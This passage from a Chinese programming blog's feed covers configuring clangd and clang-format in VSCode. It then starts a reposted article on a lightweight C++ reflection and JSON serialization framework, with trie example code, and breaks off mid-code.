&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&amp;#x2F;&amp;#x2F; 是否检查插件冲突
&amp;quot;clangd.detectExtensionConflicts&amp;quot;: true,
&amp;quot;clangd.path&amp;quot;: &amp;quot;clangd&amp;quot;,
&amp;#x2F;&amp;#x2F; 查找的头文件路径，每一项前缀 -I
&amp;quot;clangd.fallbackFlags&amp;quot;: [],
&amp;quot;clangd.arguments&amp;quot;: [
	&amp;#x2F;&amp;#x2F; 在后台自动分析文件（基于complie_commands)
    &amp;quot;--background-index&amp;quot;,
    &amp;#x2F;&amp;#x2F; 标记compelie_commands.json文件的目录位置
    &amp;#x2F;&amp;#x2F; &amp;quot;--compile-commands-dir=build&amp;quot;,
    &amp;#x2F;&amp;#x2F; 同时开启的任务数量
    &amp;quot;-j=12&amp;quot;,
    &amp;#x2F;&amp;#x2F; 全局补全（会自动补充头文件）
    &amp;quot;--all-scopes-completion&amp;quot;,
    &amp;#x2F;&amp;#x2F; 更详细的补全内容
    &amp;quot;--completion-style=detailed&amp;quot;,
    &amp;#x2F;&amp;#x2F; Include what you use
    &amp;quot;--header-insertion=iwyu&amp;quot;,
    &amp;#x2F;&amp;#x2F; pch优化的位置 disk memory
    &amp;quot;--pch-storage=memory&amp;quot;,
    &amp;quot;--cross-file-rename&amp;quot;,
    &amp;quot;--enable-config&amp;quot;,
    &amp;#x2F;&amp;#x2F; clang-format style to apply by default when no .clang-format file is found
    &amp;quot;--fallback-style=WebKit&amp;quot;,
    &amp;quot;--pretty&amp;quot;,
    &amp;quot;--clang-tidy&amp;quot;,
    &amp;quot;--query-driver=clang++&amp;quot;,
]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;project-setup&quot;&gt;Project setup&lt;&#x2F;h3&gt;
&lt;p&gt;clangd is based on the clang C++ compiler, and understands even complex C++ code. However, you must tell clangd how your project is built (compile flags). A compile_commands.json file can usually be generated by your build system&lt;&#x2F;p&gt;
&lt;p&gt;参考 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clangd.llvm.org&#x2F;installation#project-setup&quot;&gt;Project setup&lt;&#x2F;a&gt;官方文档，总结三种生成 &lt;em&gt;&lt;code&gt;compile_commands.json&lt;&#x2F;code&gt;&lt;&#x2F;em&gt; 文件的方法&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;如果通过&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cmake.org&#x2F;cmake&#x2F;help&#x2F;latest&#x2F;variable&#x2F;CMAKE_EXPORT_COMPILE_COMMANDS.html#variable:CMAKE_EXPORT_COMPILE_COMMANDS&quot;&gt;cmake&lt;&#x2F;a&gt; 方式编译项目，&lt;strong&gt;3.5+版本中&lt;&#x2F;strong&gt;，在&lt;code&gt;CMakeLists.txt&lt;&#x2F;code&gt;工程文件中添加**&lt;code&gt;set(CMAKE_EXPORT_COMPILE_COMMANDS ON)&lt;&#x2F;code&gt;** ，或者&lt;code&gt;cmake&lt;&#x2F;code&gt;添加 &lt;strong&gt;&lt;code&gt;-DCMAKE_EXPORT_COMPILE_COMMANDS=ON&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt; 参数，&lt;code&gt;make&lt;&#x2F;code&gt;后可以在 build 目录下生成&lt;code&gt;compile_commands.json&lt;&#x2F;code&gt;文件&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果是基于&lt;code&gt;make&lt;&#x2F;code&gt;方式来编译，那么可以先安装&lt;code&gt;pip install compiledb&lt;&#x2F;code&gt;，之后在当前目录下运行&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;compiledb -n make -C build&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;compiledb make -C build&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这两个命令中的其中一个来生成 compile_commands.json 文件，其中前者不会执行真正的 make 编译命令。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果是基于其他方式，可以使用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rizsotto&#x2F;Bear&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;rizsotto&#x2F;Bear&lt;&#x2F;a&gt; 项目中的方式来生成对应的 compile_commands.json 文件&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;ge-shi-hua-pei-zhi-wen-jian&quot;&gt;格式化配置文件&lt;&#x2F;h3&gt;
&lt;p&gt;配置默认的格式插件&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;选择需要设置格式化插件的文件&lt;&#x2F;li&gt;
&lt;li&gt;鼠标右键进行点击&lt;&#x2F;li&gt;
&lt;li&gt;选择 【使用…格式化文档】&lt;&#x2F;li&gt;
&lt;li&gt;选择 【配置默认格式化程序】&lt;&#x2F;li&gt;
&lt;li&gt;选择你需要的格式化插件即可，如&lt;code&gt;clangd&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;也可以参考下列配置&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&amp;quot;[cpp]&amp;quot;: {
   &amp;#x2F;&amp;#x2F; 在cpp文件中，编辑器在保存的时候进行格式化
   &amp;quot;editor.formatOnSave&amp;quot;: true,
   &amp;quot;editor.formatOnSaveMode&amp;quot;: &amp;quot;file&amp;quot;
   &amp;#x2F;&amp;#x2F; 在cpp文件中，编辑器在打字的时候进行格式化
   &amp;quot;editor.formatOnType&amp;quot;: true,
   &amp;#x2F;&amp;#x2F; 在cpp文件中，编辑器在粘贴的时候进行格式化
   &amp;quot;editor.formatOnPaste&amp;quot;: true,
   &amp;quot;editor.defaultFormatter&amp;quot;: &amp;quot;llvm-vs-code-extensions.vscode-clangd&amp;quot;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;clangd&lt;&#x2F;code&gt;根据&lt;code&gt;.clang-format&lt;&#x2F;code&gt;配置文件进行格式化代码，若改配置文件未找到，则使用&lt;code&gt;fallback-style&lt;&#x2F;code&gt;参数指定的风格进行格式化代码。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.org&#x2F;docs&#x2F;ClangFormatStyleOptions.html&quot;&gt;Clang-Format Style Options&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;weixin_43717839&#x2F;article&#x2F;details&#x2F;129382657&quot;&gt;Clang-Format：代码自动格式化（看这一篇就够了）&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;clang-format工具提供格式化功能，默认提供几个比较流行的代码风格。可以根据官方文档给出主流的代码风格连接进行查看，也可以使用工具进行格式处理查看效果&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;clang-format --style=LLVM -i main.cpp&lt;&#x2F;code&gt;对main.cpp源文件进行格式化处理，并改写原文件。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;clang-format --style=LLVM --dump-config &amp;gt; .clang-format&lt;&#x2F;code&gt;dump LLVM代码风格的配置文件，可以在此基础上根据需要进行调整，具体各配置项的代表意义可根据官方文档说明来理解。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;将配置好的&lt;code&gt;.clang-format&lt;&#x2F;code&gt;文件放在工程目录下即可，不要过多的纠结细节&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;p&gt;至此，上乘的C&#x2F;C++的VSCode开发环境需要的主要依赖的插件&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;CMake&lt;&#x2F;li&gt;
&lt;li&gt;CMake Tools&lt;&#x2F;li&gt;
&lt;li&gt;clangd，其实涵盖了Clang Format以及Clang Tidy功能&lt;&#x2F;li&gt;
&lt;li&gt;Doxygen Documentation Generator&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;技巧&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Ctrl + Shift + P&lt;&#x2F;code&gt;显示所有命令，查找&lt;code&gt;Preferences: Open Default Settings (JSON)&lt;&#x2F;code&gt;，可以查看默认的配置文件，可以根据需要来定制进行环境的迁移&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>C++轻量级对象Json序列化与反射框架</title>
        <published>2024-01-02T00:00:00+00:00</published>
        <updated>2024-01-02T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/c-轻量级对象json序列化与反射框架/"/>
        <id>https://vercel.juzhong.asia/obsidian/c-轻量级对象json序列化与反射框架/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/c-轻量级对象json序列化与反射框架/">&lt;h1 id=&quot;c-qing-liang-ji-dui-xiang-jsonxu-lie-hua-yu-fan-she-kuang-jia&quot;&gt;C++轻量级对象Json序列化与反射框架&lt;&#x2F;h1&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;出处：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;422206102&quot;&gt;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;422206102 - 知乎专栏&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;代码已开源：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;shijunfeng00&#x2F;CppJson&quot;&gt;https:&#x2F;&#x2F;&lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;shijunfeng00&#x2F;CppJson&quot;&gt;github.com&#x2F;shijunfeng00&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;shijunfeng00&#x2F;CppJson&quot;&gt;&#x2F;CppJson&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;深度炼丹之余，来折腾下C++&lt;&#x2F;p&gt;
&lt;p&gt;最近花了点时间实现了一个简单的反射、序列化与反序列化的一套代码&lt;&#x2F;p&gt;
&lt;p&gt;不过只是自己实现的玩具级应用，没有做太多的优化和Debug，对std的支持相当有限，但我觉得这个思路应该是值得推广的，C++以高性能著称，但是有时候我们也希望尽可能简单的实现某些功能，比如反射、序列化、反序列化。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-xiang-mu-bei-jing&quot;&gt;&lt;strong&gt;一、项目背景&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;C++没有原生的反射与序列化，至少从语言层面来说是暂时不支持的 很多时候是需要自己手动去写反射相关的代码 自己实现方案很多，也有很多现成的库可以使用 但是很多代码用起来都异常繁琐，包含各种模板以及宏，比如类似这样的&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;112914534&quot;&gt;Ubp.a：99 行实现 C++ 简单反射&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;337200770&quot;&gt;&quot;全球最强&quot; | C++ 动态反射库&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;int main(){
    Reflection&amp;lt;Point&amp;gt;::Instance()
        .Regist(&amp;amp;Point::x,&amp;quot;x&amp;quot;)
        .Regist(&amp;amp;Point::y,&amp;quot;y&amp;quot;)
        .Regist(&amp;amp;Point::Add,&amp;quot;Add&amp;quot;);
    Point p;
    Reflection&amp;lt;Point&amp;gt;::Instance().Var&amp;lt;float&amp;gt;(&amp;quot;x&amp;quot;).Of(p)=2.f;
    Reflection&amp;lt;Point&amp;gt;::Instance().Var&amp;lt;float&amp;gt;(&amp;quot;y&amp;quot;).Of(p)=3.f;
    Point q=Reflection&amp;lt;Point&amp;gt;::Instance().call&amp;lt;Point&amp;gt;(&amp;quot;Add&amp;quot;,p,1.f);
    for(auto&amp;amp;nv:Reflection&amp;lt;Point&amp;gt;::Instance().Vars())
        cout&amp;lt;&amp;lt;nv.first&amp;lt;&amp;lt;&amp;quot;:&amp;quot;&amp;lt;&amp;lt;nv.second-&amp;gt;As&amp;lt;float&amp;gt;().Of(p)
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;以及像这样用宏来定义的&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;struct test_type0{
DEF_FIELD_BEGIN(test_type0)
private:
    DEF_FIELD(int, x)
public:
    DEF_FIELD(std::string, y)
DEF_FIELD_END
};

struct test_type1{
DEF_FIELD_BEGIN(test_type1)
    DEF_FIELD(test_type0, z)
    DEF_FIELD(std::string, w)
DEF_FIELD_END
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;总之我觉得无论是使用也好，还是注册也好，用起来都是很繁琐的。 所以我自然希望实现一个类似于Tensorflow的自动微分那样，只要写好前向传播代码，自动微分就已经自动生成好了。 我希望当我写完CPP的代码，对应的struct&#x2F;class的序列化、反序列化、反射就已经自动完成了所有注册， 也不用单独为每个class写一个序列化与反序列化，一切东西都用起来足够&quot;原生&quot;。 所以我的代码尽可能简化了代码使用的这一过程，具体实现其实也不复杂，就是各种类型匹配和递归调用的问题。 我将会在后文中给出充分的示例。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;总之就是我希望能有一个更简洁的方案，能够[自动]完成反射、序列化、反序列化。就像深度学习里面的自动微分框架一样，只要我构建好代码，就已经自动构建好了微分运算。只要我写好了结构体，就自动构建好了对应的序列化、反序列化方法。&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;使用起来就像这样，非常的简洁，简洁得像是在写python&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;Serializable::Regist&amp;lt;Point&amp;gt;();                &amp;#x2F;&amp;#x2F;注册
Point p=Reflectable::get_instance(&amp;quot;Point&amp;quot;);   &amp;#x2F;&amp;#x2F;创建实例
Reflectable::set_field(&amp;quot;x&amp;quot;,2.0f);             &amp;#x2F;&amp;#x2F;修改属性值
Reflectable::set_field(&amp;quot;y&amp;quot;,3.0f);
string json=Serializable::dumps(p);           &amp;#x2F;&amp;#x2F;序列化为json字符串
Point&amp;amp;q=Serializable::loads(json);            &amp;#x2F;&amp;#x2F;反序列化还原对象
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;当然可序列化的前提就是可反射的，所以Serializable是Reflectable的子类&lt;&#x2F;p&gt;
&lt;h2 id=&quot;er-xiang-guan-xian-zhi&quot;&gt;二、相关限制&lt;&#x2F;h2&gt;
&lt;p&gt;原本反射只是为了序列化和反序列化，只能支持属性值，现在已经支持成员函数了，不过并未处理继承与派生，以及函数重载的问题，所以功能上还比较弱鸡。序列化上可以支持单继承&lt;&#x2F;p&gt;
&lt;p&gt;目前我的代码支持属性满足以下类型条件的class的序列化与反序列化&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;(1).C++基本类型(int,float,char,...)&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;(2).含有迭代器的容器(std::vector,std::list,std::deque,...)&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;(3).容器适配器(std::map,std::set,std::unordered_map,std::unordered_set,...)&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;(4).std::tuple和std::pair&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;(5).其他正确实现了get_config以及调用Serializable::regist&amp;lt;T&amp;gt;注册的类&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;(6).数组(int a[15]),std::array&amp;lt;int,15&amp;gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;(7).上述类型的组合及其指针(std::vector[std::pair&lt;&#x2F;strong&gt;**&lt;a href=&quot;std::pair%3Cint%5C*,float%5C*&quot;&gt;int\*,float\*&lt;&#x2F;a&gt;](int%5C*,float%5C*%5D(std::pair%3Cint%5C*,float%5C*))** &lt;strong&gt;)，可以正确处理空指针，空指针将被序列化为&quot;null&quot;。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;(8).派生类的序列化与反序列化(暂没考虑多继承虚继承的问题)&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;反射的话还比较弱鸡，属性值上理论上支持一切非静态属性的反射&lt;&#x2F;p&gt;
&lt;p&gt;成员函数上也只支持非静态的成员函数，不支持继承和虚函数，至少我没有刻意去实现，说不定代码意外的自己已经能支持了呢（逃&lt;&#x2F;p&gt;
&lt;h2 id=&quot;san-jian-ji-de-zhu-ce-yu-jie-kou-shi-yong&quot;&gt;&lt;strong&gt;三、简洁的注册与接口使用&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;首先看一个简单的例子&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;struct Node
{
    int x;
    float y;
    std::string z;
    int add(int x,int y)
    {
        return x+y;
    }
    std::string getName()
    {
        return z;
    }
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在我想要这个类支持反射、序列化和反序列化 只需要做出如下修改：&lt;&#x2F;p&gt;
&lt;p&gt;(1). 实现Config::get_config方法&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;Config get_config()const
    {
        Config config=Serializable::get_config(this);
        config.update({
            {&amp;quot;x&amp;quot;,x},
            {&amp;quot;y&amp;quot;,y},
            {&amp;quot;z&amp;quot;,z},
            {&amp;quot;add&amp;quot;,add},
            {&amp;quot;getName&amp;quot;,getName}
        });
        return config;
    }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;(2).在main函数中使用Serializable::Regist&amp;lt;Node&amp;gt;()完成注册&lt;&#x2F;p&gt;
&lt;p&gt;完成简单注册后，然后就可以使用如下方法支持属性的反射，序列化，反序列化&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;int main()
{
    Serializable::Regist&amp;lt;Node&amp;gt;();
    void*object=Reflectable::get_instance(&amp;quot;Node&amp;quot;);                        &amp;#x2F;&amp;#x2F;创建实例

    Reflectable::set_field&amp;lt;int&amp;gt;(object,&amp;quot;Node&amp;quot;,&amp;quot;x&amp;quot;,4);                     &amp;#x2F;&amp;#x2F;通过字符串名称修改成员变量
    Reflectable::set_field&amp;lt;float&amp;gt;(object,&amp;quot;Node&amp;quot;,&amp;quot;y&amp;quot;,5);
    Reflectable::set_field&amp;lt;std::string&amp;gt;(object,&amp;quot;Node&amp;quot;,&amp;quot;z&amp;quot;,&amp;quot;test&amp;quot;);
    int field_x=Reflectable::get_field&amp;lt;int&amp;gt;(object,&amp;quot;Node&amp;quot;,&amp;quot;x&amp;quot;);           &amp;#x2F;&amp;#x2F;通过字符串名称得到值
    float field_y=Reflectable::get_field&amp;lt;float&amp;gt;(object,&amp;quot;Node&amp;quot;,&amp;quot;y&amp;quot;);
    string field_z=Reflectable::get_field&amp;lt;string&amp;gt;(object,&amp;quot;Node&amp;quot;,&amp;quot;z&amp;quot;);

    cout&amp;lt;&amp;lt;field_x&amp;lt;&amp;lt;&amp;quot; &amp;quot;&amp;lt;&amp;lt;(*(Node*)object).x&amp;lt;&amp;lt;endl;                         &amp;#x2F;&amp;#x2F;正常访问成员变量,对比结果
    cout&amp;lt;&amp;lt;field_y&amp;lt;&amp;lt;&amp;quot; &amp;quot;&amp;lt;&amp;lt;(*(Node*)object).y&amp;lt;&amp;lt;endl;
    cout&amp;lt;&amp;lt;field_z&amp;lt;&amp;lt;&amp;quot; &amp;quot;&amp;lt;&amp;lt;(*(Node*)object).z&amp;lt;&amp;lt;endl;
    &amp;#x2F;*序列化与反序列化*&amp;#x2F;

    std::string json=Serializable::dumps(*(Node*)object);                 &amp;#x2F;&amp;#x2F;序列化
    cout&amp;lt;&amp;lt;json&amp;lt;&amp;lt;endl;
    Node b=Serializable::loads&amp;lt;Node&amp;gt;(json);                               &amp;#x2F;&amp;#x2F;反序列化
    &amp;#x2F;*正常访问*&amp;#x2F;
    cout&amp;lt;&amp;lt;b.x&amp;lt;&amp;lt;endl;                                                      &amp;#x2F;&amp;#x2F;正常访问成员变量
    cout&amp;lt;&amp;lt;b.y&amp;lt;&amp;lt;endl;
    cout&amp;lt;&amp;lt;b.z&amp;lt;&amp;lt;endl;
    &amp;#x2F;*成员函数反射*&amp;#x2F;
    cout&amp;lt;&amp;lt;Reflectable::get_method&amp;lt;int&amp;gt;(b,&amp;quot;add&amp;quot;,5,6)&amp;lt;&amp;lt;endl;                &amp;#x2F;&amp;#x2F;通过字符串名称访问成员函数
    cout&amp;lt;&amp;lt;Reflectable::get_method&amp;lt;string&amp;gt;(b,&amp;quot;getName&amp;quot;)&amp;lt;&amp;lt;endl;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;运行代码得到如下结果：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-json-reflection&#x2F;cpp-reflection-demo-output.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;si-xu-lie-hua-fan-xu-lie-hua-dai-ma-shi-li&quot;&gt;四、序列化、反序列化代码示例&lt;&#x2F;h2&gt;
&lt;p&gt;序列化，反序列化关键方法只有两个 Serializable::dumps和Serializable::loads&lt;T&gt; 分别对应序列化与反序列化，其中反序列化需要显式的给出被反序列化的对象类型 如果不给的话将会返回一个void*指针，如果给了参数，会返回一个引用 如果不想调用额外的复制构造函数，可以使用auto&amp;amp;object=Serializable::loads&lt;T&gt;(json_string)&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;(1).trie字典树的序列化与反序列化&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;首先我们实现一棵朴素的trie树，没经过任何优化，这里面包括了std::vector,Node*,bool多种类型需要处理。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include&amp;lt;iostream&amp;gt;
#include&amp;lt;fstream&amp;gt;
#include&amp;lt;vector&amp;gt;
using namespace std;
struct Node
{
	Node():sons(26,nullptr),flag(false){};
	~Node();
	std::vector&amp;lt;Node*&amp;gt;sons;
	bool flag;
};
class Trie
{
public:
	Trie():root(new Node){}
	void insert(const std::string&amp;amp;str);
	void print();
private:
	void __print(Node*root,std::string&amp;amp;str);
	Node*root;
};
Node::~Node()
{
	for(auto&amp;amp;son:sons)
		if(son!=nullptr)
			delete son;
}
void Trie::print()
{
	std::string tmp;
	__print(root,tmp);
}
void Trie::insert(const std::string&amp;amp;str)
{
	Node*root=this-&amp;gt;root;
	for(auto&amp;amp;it:str)
	{
		if(root-&amp;gt;sons[it-&amp;#x27;a&amp;#x27;]==nullptr)
			root-&amp;gt;sons[it-&amp;#x27;a&amp;#x27;]=new Node();
		root=root-&amp;gt;sons[it-&amp;#x27;a&amp;#x27;];
	}
	root-&amp;gt;flag=true;
}
void Trie::__print(Node*root,std::string&amp;amp;str)
{
	if(root-&amp;gt;flag&amp;gt;0)
	{
		cout&amp;lt;&amp;lt;str&amp;lt;&amp;lt;endl;
	}
	for(unsigned i=0;i&amp;lt;root-&amp;gt;sons.size();i++)
	{
		if(root-&amp;gt;sons[i]!=nullptr)
		{
			str.push_back(i+&amp;#x27;a&amp;#x27;);
			__print(root-&amp;gt;sons[i],str);
			str.pop_back();
		}
	}
}
int main()
{
	ifstream fin(&amp;quot;test.json&amp;quot;,ios::in);
	ofstream fout(&amp;quot;test.json&amp;quot;,ios::out);
	Trie trie;
	trie.insert(&amp;quot;ababa&amp;quot;);
	trie.insert(&amp;quot;abab&amp;quot;);
	trie.insert(&amp;quot;xisa&amp;quot;);
	trie.insert(&amp;quot;cpp&amp;quot;);                                        &amp;#x2F;&amp;#x2F;构建一棵字典树
	trie.insert(&amp;quot;cest&amp;quot;);
	trie.insert(&amp;quot;test&amp;quot;);
	trie.insert(&amp;quot;tet&amp;quot;);
	trie.print();                                              &amp;#x2F;&amp;#x2F;打印trie树所有单词
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;程序输出了所有单词&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-json-reflection&#x2F;trie-print-output.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;现在如果我需要把这颗保存下来，日后再还原，就需要序列化与反序列化&lt;&#x2F;p&gt;
&lt;p&gt;如果用我写的这份代码来做，事情将变得非常简单，我们来看看修改后的代码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include&amp;quot;lang&amp;#x2F;serializable.h&amp;quot;
#include&amp;lt;iostream&amp;gt;
#include&amp;lt;fstream&amp;gt;
using namespace std;
struct Node
{
	Node():sons(26,nullptr),flag(false){};
	Config get_config()const  &amp;#x2F;&amp;#x2F;变化1
	{
		Config config=Serializable::get_config(this);
		config.update({
			{&amp;quot;sons&amp;quot;,sons},
			{&amp;quot;flag&amp;quot;,flag}
		});
		return config;
	}
	~Node();
	std::vector&amp;lt;Node*&amp;gt;sons;
	bool flag;
};
class Trie
{
public:
	Trie():root(new Node){}
	Config get_config()const
	{
		Config config=Serializable::get_config(this);
		config.update({
			{&amp;quot;root&amp;quot;,root}
		});
		return config;
	}
	void insert(const std::string&amp;amp;str);
	void print();
private:
	void __print(Node*root,std::string&amp;amp;str);
	Node*root;
};
Node::~Node()
{
	for(auto&amp;amp;son:sons)
		if(son!=nullptr)
			delete son;
}
void Trie::print()
{
	std::string tmp;
	__print(root,tmp);
}
void Trie::insert(const std::string&amp;amp;str)
{
	Node*root=this-&amp;gt;root;
	for(auto&amp;amp;it:str)
	{
		if(root-&amp;gt;sons[it-&amp;#x27;a&amp;#x27;]==nullptr)
			root-&amp;gt;sons[it-&amp;#x27;a&amp;#x27;]=new Node();
		root=root-&amp;gt;sons[it-&amp;#x27;a&amp;#x27;];
	}
	root-&amp;gt;flag=true;
}
void Trie::__print(Node*root,std::string&amp;amp;str)
{
	if(root-&amp;gt;flag&amp;gt;0)
	{
		cout&amp;lt;&amp;lt;str&amp;lt;&amp;lt;endl;
	}
	for(unsigned i=0;i&amp;lt;root-&amp;gt;sons.size();i++)
	{
		if(root-&amp;gt;sons[i]!=nullptr)
		{
			str.push_back(i+&amp;#x27;a&amp;#x27;);
			__print(root-&amp;gt;sons[i],str);
			str.pop_back();
		}
	}
}
int main()
{
	Serializable::Regist&amp;lt;Node,Trie&amp;gt;();                         &amp;#x2F;&amp;#x2F;变化2
	ifstream fin(&amp;quot;test.json&amp;quot;,ios::in);
	ofstream fout(&amp;quot;test.json&amp;quot;,ios::out);
	Trie trie;
